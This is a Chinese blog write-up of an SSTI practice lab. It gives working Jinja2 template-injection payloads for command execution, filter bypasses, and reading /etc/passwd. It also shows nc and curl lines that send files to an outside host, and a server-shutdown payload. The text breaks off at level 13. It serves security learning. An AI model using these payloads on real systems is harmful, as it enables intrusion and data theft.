ssti-labs

ssti_labs

搭建踩的坑:

pip python 还有各种库版本之间的冲突,我pip和python全用的3,python版本是3.8。出现ImportError错误导致无法导入’soft_unicode’模块是由于markupsafe库的版本引起的,在py3.8中markupsafe库中的soft_unicode模块被移除,先升级injja2和markupsafe库到最新版本确保它们和python3.8兼容,pip install --upgrade jijna2markupsafe。还有itsdangerous库中的json模块也被移除,同上,pip install --upgrade itsdangerous,然后还是不行,是由于flask和itsdangerous版本之间的兼容性问题,将flask和itsdangerous降级到与py3.8兼容的较旧版本pip install flask==1.1.4 itsdangerous==1.1.0,成功部署完之后,又遇到问题,运行python3 app.py后,显示* Running on http://127.0.0.1:5001/ (Press CTRL+C to quit)但是却无法通过公网ip访问到。gpt debug,默认情况下flask只会绑定到回环地址,没法绑定到公网ip,所以无法外部访问,最后一行改成app.run(host='0.0.0.0',port=5001,debug='True'),然后就是,千万别用root跑(悲),不然会被日的很惨(感谢L1ao学长的指出),当然就算创建新用户跑,也面临着提权被干的风险,所以,最好还是用容器吧,还学了点别的小知识

kill -9 PID:强制kill进程

adduser your_username:在服务器上创建一个普通用户

chown your_username:your_username app.py:将app.py的所有权转移到普通用户

su - your_username:用普通用户身份登录

level1

漏洞存在

__class__一个对象的类的引用,用于实例化对象,这里是字符串对象,obj.__class__返回该对象所属类,对于类本身,Class.__class__返回它的元类

当前类的基类,这里有三种获取方法,__base__(获取直接父类),__bases__(Class.__bases__返回Class的元组,包含它的直接父类),__mro____mro__方法返回一个类的方法解析顺序,其中的类是在方法解析的过程中在寻找父类时需要考虑的类。要注意获取到的对象是多个还是单个,下面使用__subclasses__()时要注意的

有这些类继承的方法,我们就可以从任何一个变量(字符串、数组,整型,配置(config),甚至文件本身(self)等等),回溯到最顶层基类(<class'object'>)中去,再获得到此基类所有实现的类,就可以获得到很多的类和方法了。

__subclasses__()方法,直接返回一个类的所有子类列表,我们已经在最顶层基类了,看<class'object'>下有哪些子类,很多,SSTI 的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。

可通过角标查看

,在python2中,子类file类可直接用于读取文件:

编写脚本寻找file类对应角标:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import html#这里引入了html库是针对本题,运行返回网页内容是html实体,所以人为解码

url = 'http://124.70.99.199:5001/level/1'

for i in range(1,300):
payload = """{{''.__class__.__base__.__subclasses__()[%s]}}"""%i

r = requests.post(url,data={"code":payload}).text
r = html.unescape(r)

if "file" in r:

print(i)

#这里假设寻找到file类位于50位
1
{{[].__class__.__base__.__subclasses__()[50]('/etc/passwd').read()}}

但是现在基本上都用py3,包括我的靶场,所以有另外一种读文件方式,我们可以用<class '_frozen_importlib_external.FileLoader'> 这个类去读取文件。微调脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import html#这里引入了html库是针对本题,运行返回网页内容是html实体,所以人为解码

url = 'http://124.70.99.199:5001/level/1'

for i in range(1,300):
payload = """{{''.__class__.__base__.__subclasses__()[%s]}}"""%i

r = requests.post(url,data={"code":payload}).text
r = html.unescape(r)

if "FileLoader" in r:

print(i)

#这里寻找到file类位于79下标

get_data方法读文件:

1
{{''.__class__.__bases__[0].__subclasses__()[79]["get_data"](0,"/flag")}}

玩点更有意思的,getshell

内建函数:

在python解释器启动时,即使没有创建任何变量或函数,无需导入任何模块,有很多函数可以使用,叫做内建函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#以下是 Python 3.x 版本中的所有内置函数的列表:

abs()
all()
any()
ascii()
bin()
bool()
breakpoint()
bytearray()
bytes()
callable()
chr()
classmethod()
compile()
complex()
delattr()
dict()
dir()
divmod()
enumerate()
eval()####this
exec()####and this
#上面两个能够执行任意python代码,当然也就能导入os库,调用系统命令
filter()
float()
format()
frozenset()
getattr()
globals()
hasattr()
hash()
help()
hex()
id()
input()
int()
isinstance()
issubclass()
iter()
len()
list()
locals()
map()
max()
memoryview()
min()
next()
object()
oct()
open()
ord()
pow()
print()
property()
range()
repr()
reversed()
round()
set()
setattr()
slice()
sorted()
staticmethod()
str()
sum()
super()
tuple()
type()
vars()
zip()
import()

__builtins__:在python中,__builtins__是一个特殊模块,它包含了python内置的所有函数、异常对象。以一个集合的形式查看其引用,__builtins__ 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。

__globals__ 是一个函数对象特有的属性,它是一个字典,记录了该函数所在文件中的全局变量的值。当函数被定义时,它会捕获所在文件的全局命名空间(global namespace),包括所有的全局变量。这些全局变量的值会被保存在 __globals__ 属性所指向的字典中。在 Python 中,每个函数都有一个 __globals__ 属性,它指向一个字典,包含函数所在文件的全局变量。这使得函数可以在执行时访问其所在文件的全局变量,即使它们定义在函数之外。

__import__():该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 __import__() 来动态载入,就是 import。语法:__import__(模块名)

__init__:构造函数,实例化类时自动调用

有要注意的点:

从上面的内建函数列表可以找到eval和exec这俩函数,

写脚本找有这俩函数的子类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import html#这里引入了html库是针对本题,运行返回网页内容是html实体,所以人为解码

url = 'http://124.70.99.199:5003/level/1'

for i in range(0,500):
payload = """{{''.__class__.__base__.__subclasses__()[%s].__init__.__globals__.__builtins__}}"""%i
evalClass = """{{''.__class__.__base__.__subclasses__()[%s]}}"""%i
r = requests.post(url,data={"code":payload}).text
evalclass_r = requests.post(url,data={"code":evalClass}).text
r = html.unescape(r)
evalclass_r = html.unescape(evalclass_r)

if "eval" in r:

print(i,end='\n')
print(evalclass_r)

这里符合条件的子类也是相当多

相当多,我们随便取个数继续构造payload:

1
{{''.__class__.__bases__[0].__subclasses__()[399].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

后面发现不一定要使用__builtins__模块,还可以试试别的模块

1
2
3
4
5
6
# __builtins__
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}
# popen
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}
# os
{{().__class__.__base__.__subclasses__()[213].__init__.__globals__['os'].popen('cat flag').read()}}

level2

被警告了

这样又没事

这样也可

左双括号被ban了

1
2
3
4
5
6
7
{% ... %} for Statements 

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

# ... # for Line Statements

jinja2模板语法中可不止{{}},还有{%%},用于插入逻辑控制代码,其中的代码会在渲染模板时被执行

在 Jinja2 模板引擎中,{%%} 中的控制结构包括以下几种,和解题没关系的也顺便加下,多学百益无一害:

  1. {% if ... %}` 和 `{% endif %}:条件语句,用于根据条件执行不同的代码块。
  2. {% for ... %}` 和 `{% endfor %}:循环语句,用于遍历一个可迭代对象的元素。
  3. {% while ... %}` 和 `{% endwhile %}:循环语句,用于根据条件循环执行代码块。
  4. {% else %}:与 if 或 for 配合使用,在没有满足条件或循环结束时执行的代码块。
  5. {% elif ... %}:与 if 配合使用,用于添加额外的条件分支。
  6. {% set ... %}:变量赋值语句,用于在模板中定义变量。
  7. {% macro ... %}` 和 `{% endmacro %}:宏定义,用于在模板中定义可复用的代码片段。
  8. {% call ... %}` 和 `{% endcall %}:调用宏,用于调用已定义的宏。
  9. {% block ... %}` 和 `{% endblock %}:块定义,用于在模板继承中重写内容。
  10. {% extends ... %}:模板继承,用于继承其他模板,并重写其中的块内容。
  11. {%include ... %}:引入外部模板

陌生的那些用一个例子说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
{% if user %}
<h1>Hello, {{ user }}!</h1>
{% else %}
<h1>Hello, Guest!</h1>
{% endif %}

{% macro format_name(first, last) %}
{{ first }} {{ last }}
{% endmacro %}

<p>Full Name: {{ format_name('John', 'Doe') }}</p>

{% macro greet(name) %}
<h1>Hello,{{name}}!</h1>
{%endmacro%}

{% call greet('Jhon') %}
{% call greet('Alice') %}

{% block content %}
<p>This is the default content.</p>
{% endblock %}

{% include 'footer.html' %}
</body>
</html>

while,set:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>While Loop Example</title>
</head>
<body>
{% set counter = 1 %}
<ul>
{% while counter <= 5 %}
<li>Item {{ counter }}</li>
{% set counter = counter + 1 %}<!--注意这里要用set-->
{% endwhile %}
</ul>
</body>
</html>

最后构造payload,

1
2
3
4
5
6
7
8
9
/*逻辑语句会执行,但是不输出,因此需要回带到自己vps*/
{%if (''.__class__.__bases__[0].__subclasses__()[399].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd|nc 124.70.99.199 7890').read()"))%}{%endif%}//nc实现回带
{%if (''.__class__.__bases__[0].__subclasses__()[399].__init__.__globals__.__builtins__['eval']("__import__('os').popen('curl http://124.70.99.199:7890/?`cat /etc/passwd`').read()"))%}{%endif%}//curl实现回带


{%for i in (''.__class__.__bases__[0].__subclasses__()[399].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd|nc 124.70.99.199 7890').read()"))%}{%endfor%}//curl实现同上

/*感觉可能的实现方式都试了一遍,最后发现set也可*/
{%set a = (''.__class__.__bases__[0].__subclasses__()[399].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd|nc 124.70.99.199 7890').read()"))%}

看别人博客时发现print居然也能写进来诶,自己想了想,既然能够执行为啥不能用print呢,

1
{%print(''.__class__.__bases__[0].__subclasses__()[399].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd').read()"))%}

level3

emmm,上面出了点小趣事,涉及到jinja2的渲染语句还是都打上代码块吧呜呜(,传博客的时候发现报错

,小问题,都打上代码块就好了

输入1,

只会显示语法正确与否,不会回显,那好办,上一题回带vps的payload直接拿下来用,

payload:

1
{%if (''.__class__.__bases__[0].__subclasses__()[399].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /etc/passwd|nc 124.70.99.199 7890').read()"))%}{%endif%}

还看到了别人的姿势,

1
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat /etc/passwd|nc 124.70.99.199 7890').read()}}{% endif %}{% endfor %}

level4

中括号被过滤了,查Jinja官方文档,variable开头就直接说了

你可以使用点( . )来访问变量的属性,作为替代,也可以使用所谓的“下标”语 法([]),如果点被过滤,可以用中括号绕过。

中括号被过滤了呢,这里的代码写出了一种特殊的方法__getitem__,用于获取foo中的item

我们可以用__getitem__()来获取字典中的键值,看了别人的博客,知道pop()方法也可以取键值,但是会删除键,不到万不得已不要用

payload:

1
2
3
4
5
6
7
{{''.__class__.__base__.__subclasses__().__getitem__(399).__init__.__globals__.__builtins__.__getitem__("__import__")('os').popen('cat /etc/passwd').read()}}

{{''.__class__.__base__.__subclasses__().pop(399).__init__.__globals__.__builtins__.pop("__import__")('os').popen('cat /etc/passwd').read()}}

{{''.__class__.__base__.__subclasses__().__getitem__(399).__init__.__globals__.get('__builtins__').__getitem__("__import__")('os').popen('cat /etc/passwd').read()}} ##get()返回指定键的值,如果值不在字典中返回default值

{{''.__class__.__base__.__subclasses__().__getitem__(399).__init__.__globals__.setdefault('__builtins__').__getitem__("__import__")('os').popen('cat /etc/passwd').read()}} ##setdefault(),和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default

level5

单双引号被过滤

这个是真不会,去网上找别人的题解

引号过滤有主要两种绕过方式:

1
2
3
4
#方法一:request对象(jinja2)
{{1.__class__.__base__.__subclasses__()[64].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).popen(request.args.arg3).read()}}
#然后GET传递a,b,c参数用于替代引号内的几样字符串
#?a=__import__&b=os&c=cat /etc/passwd

request.values返回无论是GET还是POST请求的参数,当然flak框架内支持request.form用于传递post参数

cookie中传参也可以

举一反三,看到别人的博客cookie可以塞,ua头里是不是也可以塞?去学了下jinja2获取ua头的方式(用法request.user_agent.string获取用户完整的ua字符串,request.user_agent.browser获取浏览器信息,request.user_agent.platform获取操作系统信息),还真行

那自己创一个请求头也可以喽?还真行,真有意思

第二种方法,chr方法的利用,与python的chr()函数类似,用于将unicode编码转为对应字符,因为我们没法直接使用chr函数,所以需要通过__builtins__找到他,然后在{%%}中设置变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import html#这里引入了html库是针对本题,运行返回网页内容是html实体,所以人为解码

url = 'http://124.70.99.199:5003/level/1'

for i in range(0,500):
payload = """{{''.__class__.__base__.__subclasses__().__getitem__(%s).__init__.__globals__.__builtins__}}"""%i
evalClass = """{{''.__class__.__base__.__subclasses__().__getitem__(%s)}}"""%i
r = requests.post(url,data={"code":payload}).text
evalclass_r = requests.post(url,data={"code":evalClass}).text
r = html.unescape(r)
evalclass_r = html.unescape(evalclass_r)

if "chr" in r:

print(i,end='\n')
print(evalclass_r)

#找到chr在第64个子类里

{{chr(65)}}将渲染为‘A’,如下图

%2b(‘+’)用于连接两个字符

1
2
3
4
{%set chr=1.__class__.__base__.__subclasses__()[64].__init__.__globals__.__builtins__.chr%}{{1.__class__.__base__.__subclasses__()[64].__init__.__globals__.__builtins__[chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)](chr(111)%2bchr(115)).popen(chr(108)%2bchr(115)).read()}}
#等价于
{%set chr=1.__class__.__base__.__subclasses__()[64].__init__.__globals__.__builtins__.chr%}{{1.__class__.__base__.__subclasses__()[64].__init__.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()}}
#这里一定注意import两端的下划线呜呜呜呜,忘记了这个模块有下划线,然后又是全都是ascii码好久都没发现

这样挨个对ascii码太麻烦了,写个python脚本

1
2
3
4
5
6
7
str = "cat /etc/passwd"
for index,char in enumerate(str):
joinchr = '%2b' if index < len(str)-1 else ''
print("chr({})".format(ord(char)),end=joinchr)

#output:chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)

写脚本的时候再学点python新知识,enumerate()函数,用于将一个可迭代对象(列表、元组、字符串等)转化为枚举对象,枚举对象可提供迭代对象的元素及其索引,有点像foreach as

1
2
3
4
5
6
7
fruits = ['apple', 'banana', 'orange']
for index, fruit in enumerate(fruits):
print(f"Index {index}: {fruit}")

#output:Index 0: apple
#Index 1: banana
#Index 2: orange

level6

下划线被过滤了,受上一题的启发,试试request,诶嘿,可行,这里不要用点来取值,用中括号,用点的话逻辑关系全乱了

好玩

去网上看了看,还有别的绕过姿势,编码绕过

十六进制编码绕过:

对’_’hex编码,是5f,写作转义序列,\x5f

一个一个下划线转太麻烦,这里用python脚本

1
2
3
4
5
6
7
8
9
10
string = "{{''.__class__.__base__.__subclasses__().__getitem__(64).__init__.__globals__.__builtins__}}"

string = string.replace('_',(hex(ord('_'))))
string = string.replace('0x','\\x')

print(string)


#output:{{''.\x5f\x5fclass\x5f\x5f.\x5f\x5fbase\x5f\x5f.\x5f\x5fsubclasses\x5f\x5f().\x5f\x5fgetitem\x5f\x5f(64).\x5f\x5finit\x5f\x5f.\x5f\x5fglobals\x5f\x5f.\x5f\x5fbuiltins\x5f\x5f}}
#再手动把点换为[],包裹住记的字符串得加引号,只用把名字括起来就行了,函数的小括号在中括号外:{{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()["\x5f\x5fgetitem\x5f\x5f"](64)["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]}}

payload:

1
{{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()["\x5f\x5fgetitem\x5f\x5f"](64)["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]('os').popen('cat /etc/passwd').read()}}

ascii编码绕过:

python中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{num:state}
#num表示格式化字符在参数列表中的索引,不填默认递增
#state表示格式说明符
#%s:字符串格式化。将变量作为字符串显示。
#%d:整数格式化。将变量作为十进制整数显示。
#%f:浮点数格式化。将变量作为浮点数显示。
#%x:十六进制格式化。将整数变量显示为小写十六进制数。
#%X:十六进制格式化。将整数变量显示为大写十六进制数。
#%o:八进制格式化。将整数变量显示为八进制数。
#%c:字符格式化。将整数变量显示为对应的 Unicode 字符。
#%r:原始数据格式化。使用 repr() 函数将变量转换为字符串显示。

#这里我们要利用的就是%c

"{:c}".format(65)=='A'
#因此

"{:c}{:c}{:c}{:c}{:c}{:c}{:c}{:c}{:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

format()过滤器:(适用于中括号和点都被过滤)

1
'%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95)=='__class__'

attr()过滤器:

1
2
3
code={{''|attr("{:c}{:c}{:c}{:c}{:c}{:c}{:c}{:c}{:c}".format(95,95,99,108,97,115,115,95,95))|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(64)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")('os')|attr('popen')('cat /etc/passwd')|attr('read')()}}

#取元素时一定要getitem,attr()过滤器用就要一用到底,不能与[],'.'等混用,也可unicode编码(\u005f)

对于python2attr()内也可base64编码,但是我的题目环境是py3,所以无法实现

1
"__class__"==("X19jbGFzc19f").decode("base64")

多种方式可以组合来:

1
code={{''|attr(request.form.a)|attr(request.form.b)|attr(request.form.c)()|attr(request.form.d)(64)|attr(request.form.e)|attr(request.form.f)|attr(request.form.d)(request.form.g)|attr(request.form.d)(request.form.h)(request.form.i)}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__builtins__&h=eval&i=__import__('os').popen('cat /etc/passwd').read()

level7

点被过滤,前面讲过了,用中括号绕过。几种方式组合一下

payload:

1
code={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen'](request['form']['cmd'])['read']()}}&cmd=cat /etc/passwd

或者attr()过滤器,或者request对象绕过等等就不多说了

level8

字符串拼接绕过:

payload:

1
code={{''['__clas''s__']['__bas''e__']['__subclas''ses__']()[64]['__ini''t__']['__globa''ls__']['__builtins__']['__import__']('os')['pop''en']('cat /etc/passwd').read()}}

拼接字符串也可以参考join()过滤器

中括号被ban用dict()函数创建字典:dict(__clas=1,s__=2)|join()

jinja2中还支持’~’字符连接两个变量:

1
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

或者字符串切片反转字符串:

反转字符串还可以使用reverse()过滤器绕实现

replace()过滤器:

string()过滤器:将渲染在浏览器的部分转为一个字符串输出;

select()过滤器:

但是不知道为什么,放到浏览器后会是这样的:

但是结合上那个string()过滤器,有点东西

能通过下标获取字符,

可以再简单点

拼个__class__看看,字符之间用~连接

假如说中括号被过滤了呢?怎么取下标,不慌,这里还有一个过滤器list(),能把字符串对象转化成列表对象输出:

这样一来就能用pop()方法输出字典内容了,当然用不用list()过滤器都能用__getitem__

level9

数字被过滤了?

不慌,有两个过滤器:

length()过滤器:

count()过滤器:

index()函数获取数字

payload:

1
code={{''['__class__']['__base__']['__subclasses__']()['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'|count()]['__init__']['__globals__']['__builtins__']['__import__']('os').popen(request.form.cmd).read()}}&cmd=cat /etc/passwd

搞定,学习别人的方法,可以直接通过循环寻找可利用类,不需要数字:

1
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat /etc/passwd').read()}}{% endif %}{% endfor %}

实际情况中可以自行选择可利用类,万一popen就被ban了呢?

level10

把config关掉了

学习怎么查看配置的时候发现了一个好玩的:

在request对象中有一个叫做environ的对象,request.environ字典包含和服务器环境相关的对象,其中有一个’werkzeug.server.shutdown’=>shutdown_server()的方法,所以当我们注入code={{request.environ['werkzeug.server.shutdown']()}}

叮咚,程序停了

还发现某些情况下也可以不用那么麻烦地向前回溯到基类,再往下找可利用类和方法,一些内置的对象和函数

1
2
3
4
code={{url_for.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()}}
code={{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()}}
code={{request.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
code={{url_for.__globals__.__builtins__.__import__('os').system('ls')}}

学会了不用__globals__的注入姿势:

1
2
3
#warnings.catch_warnings类内部定义了_module=sys.modules['warnings'],而warnings模块含有__builtins__,如果可以找到warnings.catch_warnings类,则可以不使用__globals__

code={{''.__class__.__base__.__subclasses__()[157]()._module.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}

还发现了过滤了class的话可以用dict直接跳过获取对象类的步骤:

最后总算找到了一篇文章,对于ssti的讲解还是比较到位的

如果过滤了config,又需要查config:

1
{{get_flashed_messages.__globals__['current_app'].config}}

自己试了别的,发现url_for也可以,flask内置了这两个函数,

level11

过滤了挺多东西的,点和中括号都被过滤了就得考虑attr()过滤器了,引号和request也被过滤了,那就拼字符,点被过滤所以chr的路暂时行不通(其实也不是不行就是很麻烦),上面讲到过select()string()还有list()过滤器

1
{{1|select|string|list}}

考虑到attr()过滤器里面包含的是字符串,那就先拼个pop出来:

1
{%set pop=dict(pop=a)|join()%}{{(1|select|string|list)|attr(pop)(0)}}

都做到这了,有了新的想法,为啥那么麻烦一个一个字符地拼接呢,直接字符串拼起来不就好了

没过滤下划线,那就把下划线设为一个变量,到时候变量与变量用~连接

1
{%set under=dict(_=a)|join()%}{{under}}

再拼接关键词:

这里为了减少工作量,我们选择payload原型为:

1
{{url_for.__globals__.__builtins__['__import__']('os').popen('cat /etc/passwd').read()}}

需要的引号内的关键字有__globals__,__import__,__builtins__,os,popen,read,cmd,当然选中__builtins__属性的话还需要__getitem__

1
2
3
4
5
6
7
8
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set read=dict(read=a)|join()%}
{%set cmd=dict(cmd=a)|join()%}

先测试一下:

1
2
3
4
5
6
7
8
9
10
{%set under=dict(_=a)|join()%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set read=dict(read=a)|join()%}
{%set cmd=dict(ls=a)|join()%}
{{url_for|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(getitem)(popen)(cmd)|attr(read)()}}

可以看到已经成功导入os模块了!

payload:

1
2
3
4
5
6
7
8
9
10
{%set under=dict(_=a)|join()%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set cmd=dict(env=a)|join()%}
{%set read=dict(read=a)|join()%}
{{url_for|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(popen)(cmd)|attr(read)()}}

emmm,停,有点问题,空格咋办,执行命令时难免会碰到空格的吧,当我试着用上面类似的方法构造空格时我失败了

1
{%set space=dict( =a)|join()%}#这种方法不行

还是得回到上面select过滤器那里,构造:

1
{%set pop=dict(pop=a)|join()%}{%set space=(1|select|string|list)|attr(pop)(10)%}

这样就能构造空格啦

然后就成这样:

1
2
3
4
5
6
7
8
9
10
11
12
{%set pop=dict(pop=a)|join()%}
{%set space=(1|select|string|list)|attr(pop)(10)%}
{%set under=dict(_=a)|join()%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set cmd=dict(la=a)|join()~space~dict(/=b)|join()%}
{%set read=dict(read=a)|join()%}
{{url_for|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(popen)(cmd)|attr(read)()}}

啊啊啊啊啊啊还要再pop斜杠,好麻烦。。

浪费那么多时间不如试试request拼接

1
2
3
4
5
6
7
8
9
10
11
12
{%set under=dict(_=a)|join()%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set read=dict(read=a)|join()%}
{%set req=dict(reques=a,t=b)|join()%}
{%set form=dict(form=a)|join()%}
{%set cmd=dict(cmd=a)|join()%}
{{url_for|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(popen)((req|attr(form)|attr(cmd)))|attr(read)()}}&cmd=ls

啥啥啥,又踩一个坑,这样传进去的是”request”字符串而根本不是request对象啊,那就去找request对象,运气不错,很快就找到了:

重新构造,虽然内置request,也就是说可通过{{request}}访问,但是注意这里构造的”request”依旧是字符串;

1
2
3
4
5
6
7
8
9
10
11
12
13
{%set under=dict(_=a)|join()%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set read=dict(read=a)|join()%}
{%set req=dict(reques=a,t=b)|join()%}
{%set form=dict(form=a)|join()%}
{%set a=dict(a=a)|join()%}
{%set cmd=url_for|attr(globals)|attr(getitem)(req)|attr(form)|attr(getitem)(a)%}
{{url_for|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(popen)(cmd)|attr(read)()}}

至此,最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
code={%set under=dict(_=a)|join()%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set read=dict(read=a)|join()%}
{%set req=dict(reques=a,t=b)|join()%}
{%set form=dict(form=a)|join()%}
{%set a=dict(a=a)|join()%}
{%set cmd=url_for|attr(globals)|attr(getitem)(req)|attr(form)|attr(getitem)(a)%}
{{url_for|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(popen)(cmd)|attr(read)()}}&a=cat /etc/passwd

level12

和11题差不了多少,就是下划线被过滤了,那url_for就用不了了,下划线用select获取,然后因为0-9被过滤了,用length()或者count()过滤器获取数字,试着从{{request}}溯源然后反过来利用request也没弄成功,不过问题不大,这题没有ban掉request,直接用

pyaload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
code={%set pop=dict(pop=a)|join()%}
{%set str=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join()%}
{%set len=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join()|length()%}
{%set under=(a|select|string|list)|attr(pop)(str|length())%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set base=under~under~dict(base=a)|join()~under~under%}
{%set init=under~under~dict(init=a)|join()~under~under%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set subclasses=under~under~dict(subclasses=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set read=dict(read=a)|join()%}
{%set form=dict(form=a)|join()%}
{%set a=dict(a=a)|join()%}
{%set cmd=request|attr(form)|attr(getitem)(a)%}
{{dict|attr(base)|attr(subclasses)()|attr(getitem)(len)|attr(init)|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(popen)(cmd)|attr(read)()}}&a=cat /etc/passwd

level13

我去。。。乍一看还有点吓人哈

1
2
3
4
5
6
7
8
9
10
11
12
13
